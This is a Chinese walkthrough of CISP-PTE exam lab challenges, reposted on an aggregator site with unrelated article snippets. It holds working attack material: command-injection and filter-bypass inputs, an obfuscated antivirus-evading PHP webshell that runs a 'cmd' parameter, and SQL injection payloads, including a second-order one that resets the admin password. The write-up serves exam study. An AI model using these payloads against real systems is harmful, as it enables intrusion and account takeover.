記一些CISP-PTE題目解析

0x01 命令執行


直接payload: 127.0.0.1 &
whoami,發現可以成功執行whoami命令


然后ls …/ ,發現有個key.php文件


嘗試用cat命令查看
發現不行被攔截了。(其實題目過濾了常用的查看文件的命令

這里有兩種思路,第一種是根據題目意思用命令執行寫webshell的方式去進行getshell,第二種方式則是使用linux的命令進行繞過。這里采用第二種方式使用c’'at的方式進行繞過。

0x02 基礎題目之文件上傳突破

可以發現部分上傳代碼,文件名被命名成一個隨機數加上原本的文件名然后md5的值。


直接上傳一個帶圖片頭的php木馬(會檢測是否是圖片,所以需要一個GIF89A當圖片頭),而且過濾了一些敏感函數如eval等。這里直接上傳一個免殺的木馬即可。

<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) .
chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['cmd']);
array_map($func1, $func1 = $array1);
?>


然后接下來就是爆破出shell的地址了,這里我們直接把上傳的數據包重放1000次用來提高爆破成功的效率。

幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

用burp的null payload發送1000次

然后設置上傳的文件名1.php為前綴,加上隨機數的1~99999,最后經過md5加密即可。

設置前綴為1.php (上傳的文件名)

然后添加md5

最后就是等待爆破成功。

key在web根目錄下的key.php文件

0x03 基礎題目之流量分析

下載數據包,使用wireshark發現是http協議居多,首先可以使用wireshark的導出文件查看一下http的訪問文件分組。

可以發現攻擊者在進行目錄爆破。這里可以直接選擇

然后根據文件大小排序一下,發現其中有一個壓縮包。

但是壓縮包設置了密碼

然后查找http數據中是否有包含壓縮包名字的數據包,其中phpspy.php包含了這個壓縮包的名稱。

追蹤流結果發現Adm1n!是解壓密碼
(%21是url編碼)

0x04 代碼審計

考點就是讓數字繞過is_numerice判斷,這里直接使用數字后面跟一個字符串即可繞過。

0x05 基礎題目之SQL注入

首先發現題目有一個注冊界面,注冊賬號之后進行登錄。

然后再發表文章處發現存在insert注入。

直接抓取數據包使用sqlmap即可

0x06 基礎題目之SQL注入

沒什么特別的,只是過濾了union關鍵字
這里用雙寫繞過就可以了, ununionion這樣。

然后直接load_file讀取文件即可獲取key。

0x07 無回顯命令執行

很簡單,看了一下代碼,限制了cmd參數的命令長度而已。可以使用linux的流符號
生成一個文件

0x08 二階SQL注入

二次注入是一種SQL注入攻擊的形式,它涉及到用戶輸入的數據在第一次被存儲到數據庫中時被錯誤地處理,導致在后續的查詢中,這些原本被轉義的數據再次被使用,從而執行惡意命令。

第一步是插入惡意數據:

在第一次插入數據時,開發者可能使用了函數如addslashes過濾了,這時是沒有問題的。

比如注冊功能:

這里注冊一個test’用戶 ,由于’被成功轉義成了’
所以這里是能夠正常執行sql語句的。

然后登錄test’用戶也是沒有問題的

但是問題出現再第二次數據庫操作中,由于被存入的數據庫的用戶名是test’,那么在第二次系統從數據庫中獲取用戶名的時候如果沒有過濾那么就會造成二次注入。

比如更新密碼:

系統的語句可能會長這樣:

update user set passwd = ‘newpasswd’ where uname = ‘test’’ #
test’是用戶名。
那么這種情況就可能導致注入。

那么二次注入怎么利用,這里可以看到需要admin用戶登錄才能夠得到key,那么我們能夠用構造一條語重置admin密碼就可以了

update user set passwd = ‘newpasswd’ where uname = ‘aaa’ or 1 –
a’

aaa’ or 1 – a是用戶名

用新用戶重置admin的密碼

再次登錄admin

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/10745.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/10745.shtml
英文地址,請注明出處:http://en.pswp.cn/web/10745.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于一致性,你該知道的事兒(下)

關于一致性&#xff0c;你該知道的事兒&#xff08;下&#xff09; 前言一、并發修改單個對象1.1 原子寫操作1.2 顯示加鎖1.3 原子的TestAndSet1.4 版本號機制 二、 多個相關對象的一致性2.1 最大努力實現2.2 2PC && TCCC2.3.基于可靠消息的一致性方案2.4.Saga事務 三、…

HNCTF-PWN

1.ez_pwn 直接看危險函數&#xff0c;不能溢出&#xff0c;只能覆蓋ebp。 后面緊接的又是leave,ret 很明顯是棧遷移&#xff0c;通過printf打印出ebp&#xff0c;通過偏移計算出棧地址。 通過gdb調試&#xff0c;偏移是0x38 以下是payload&#xff1a; from pwn import * #i…

python常用內置對象

1.字符串與字節串 對str 類型調用其encode()方法進行編碼得到byte字符串&#xff0c; 對byte字節串調用其encode&#xff08;&#xff09;方法并指定正確的編碼格式得到str字符串 “房地產”&#xff0c;encode("utf-8") #對中文進行編碼-.decode("u…

【自然語言處理】【大模型】DeepSeek-V2論文解析

論文地址&#xff1a;https://arxiv.org/pdf/2405.04434 相關博客 【自然語言處理】【大模型】DeepSeek-V2論文解析 【自然語言處理】【大模型】BitNet&#xff1a;用1-bit Transformer訓練LLM 【自然語言處理】BitNet b1.58&#xff1a;1bit LLM時代 【自然語言處理】【長文本…

11.偏向鎖原理及其實戰

文章目錄 偏向鎖原理及其實戰1.偏向鎖原理2.偏向鎖案例代碼演示2.1.偏向鎖案例代碼2.2.1.無鎖情況下狀態2.1.2.偏向鎖狀態2.1.3.釋放鎖后的狀態 2.2.偏向鎖的膨脹和撤銷2.2.1.偏向鎖撤銷的條件2.2.2.偏向鎖的撤銷 2.2.3.偏向鎖的膨脹 2.3.全局安全點原理和偏向鎖撤銷性能問題2.…

面試題-實例

1.什么是線程池&#xff1f; 線程池就是事先將創建好的線程進行整合&#xff0c;當需要使用的時候&#xff0c;直接拿出來進行使用&#xff0c;不用現去創建&#xff0c;可以節約開辟的時間&#xff0c;提高效率。 2.線程池有哪些種類&#xff1f; 在java.util.concurrent.Ex…

EPAI手繪建模APP工程圖頂部工具欄

7、工程圖 圖 302 工程圖 工程圖包括頂部常用工具欄、右側工程圖工具欄、左側模型列表欄、中間的工程圖。 (1) 常用工具欄 ① 刪除&#xff0c;選中場景中工程圖元素后&#xff0c;刪除。可以選擇多個工程圖元素同時刪除。 ② 設置&#xff0c;打開工程圖設置頁面&#xff0…

Java基礎(29)表達式語言(EL)的隱式對象及其作用

表達式語言&#xff08;Expression Language&#xff0c;簡稱EL&#xff09;是JSP 2.0及以上版本中引入的一種簡化頁面代碼編寫的語言&#xff0c;它提供了一種在JSP頁面中更容易使用JavaBean屬性及集合的方式。EL主要用于簡化對Java代碼的調用&#xff0c;特別是從后端到前端的…

2024 年最新本地、云服務器安裝部署 miniconda 環境詳細教程(更新中)

Anaconda 概述 Anaconda 是專門為了方便使用 Python 進行數據科學研究而建立的一組軟件包&#xff0c;涵蓋了數據科學領域常見的 Python 庫&#xff0c;并且自帶了專門用來解決軟件環境依賴問題的 conda 包管理系統。主要是提供了包管理與環境管理的功能&#xff0c;可以很方便…

picoCTF-Web Exploitation-More SQLi

Description Can you find the flag on this website. Additional details will be available after launching your challenge instance. Hints SQLiLite 先隨便輸入個賬號密碼登錄一下&#xff0c;得到查詢SQL&#xff0c;接下來應該對SQL進行某些攻擊來繞過密碼登錄成功 -- …

微信小程序踩坑,skyline模式下,簡易雙向綁定無效

工具版本 基礎庫版本 Skline模式 頁面json設置 問題描述 skyline模式下,textarea,input標簽設置簡易雙向綁定 model:value是無效的,關閉skyline模式就正常使用了 截圖展示 這里只展示了textarea標簽,input標簽的簡易雙向綁定也是無效的 總結 我在文檔里面是沒找到skyline里面不…

Android OpenMAX(八)如何學習OMXNodeInstance

前面一篇文章中我們看到media.codec service創建OMX組件后會把組件傳遞給一個OMXNodeInstance對象,并且把OMXNodeInstance對象返回到Framework層,Framework通過調用OMXNodeInstance的API來操作OMX組件。從這一篇開始,我們一起學習OMXNodeInstance,在這里我要強調一下,接下…

動態規劃----股票買賣問題(詳解)

目錄 一.買賣股票的最佳時機&#xff1a; 二.買賣股票的最佳時機含冷凍期&#xff1a; 三.買賣股票的最佳時期含?續費&#xff1a; 四.買賣股票的最佳時機III: 五.買賣股票的最佳時機IV: 買賣股票的最佳時機問題介紹&#xff1a;動態規劃買賣股票的最佳時機是一個經典的…

windows使用Docker-Desktop部署lobe-chat

文章目錄 window安裝docker-desktop下載和啟動lobe-chatAI大語言模型的選擇lobe-chat設置大模型連接 window安裝docker-desktop docker-desktop下載地址 正常安裝應用&#xff0c;然后啟動應用&#xff0c;注意啟動docker引擎 打開右上角的設置&#xff0c;進入Docker Engine設…

算法學習系列(六十):區間DP

目錄 引言區間合并模板一、石子合并二、環形石子合并三、能量項鏈 引言 關于這個區間 D P DP DP &#xff0c;其實是有套路和模板的&#xff0c;題型的話也是變化不多&#xff0c;感覺就那幾種&#xff0c;只不過有些題會用到高精度或者是要記錄方案&#xff0c;所以整體來說…

Unity編輯器如何多開同一個項目?

在聯網游戲的開發過程中&#xff0c;多開客戶端進行聯調是再常見不過的需求。但是Unity并不支持編輯器多開同一個項目&#xff0c;每次都得項目打個包(耗時2分鐘以上)&#xff0c;然后編輯器開一個進程&#xff0c;exe 再開一個&#xff0c;真的有夠XX的。o(╥﹏╥)o沒錯&#…

Hive 與 SQL 標準和主流 SQL DB 的語法區別

文章目錄 1.Hive 簡介2.Hive 與 SQL 標準和主流 SQL DB 的語法區別參考文獻 1.Hive 簡介 Hive是一種基于Hadoop的數據倉庫軟件&#xff0c;可以將結構化數據文件映射為一張數據庫表&#xff0c;并提供了類SQL查詢接口&#xff0c;使得用戶可以使用SQL類語言來查詢數據。Hive可…

7-117 死亡隧道

小毛驢要回家了,憑借著剛從老毛驢處學到的閃爍魔法,小毛驢信心滿滿地出發了。這一次它來到了另一條死亡隧道口,但是,小毛驢不知道死亡威脅隨時存在,因為它所打算穿過的這條死亡隧道即將于T秒時間后坍塌。 已知小毛驢行走的速度是每秒17米,而小毛驢擁有的閃爍法術可以使它…

返回類型后置,一個用途是為了邏輯上的體現?

大家一般都是先關心參數&#xff0c;然后最后再看返回的是什么類型。 在這里把返回類型后置&#xff0c;可能就是一種邏輯上的體現吧 fmt的一個函數。 \fmt\core.h 這個函數的意義&#xff0c;應該就是用變長參數初始化成一個format_arg_store類型的變量&#xff0c;并返回。…

Rust學習筆記(上)

前言 筆記的內容主要參考與《Rust 程序設計語言》&#xff0c;一些也參考了《通過例子學 Rust》和《Rust語言圣經》。 Rust學習筆記分為上中下&#xff0c;其它兩個地址在Rust學習筆記&#xff08;中&#xff09;和Rust學習筆記&#xff08;下&#xff09;。 編譯與運行 Ru…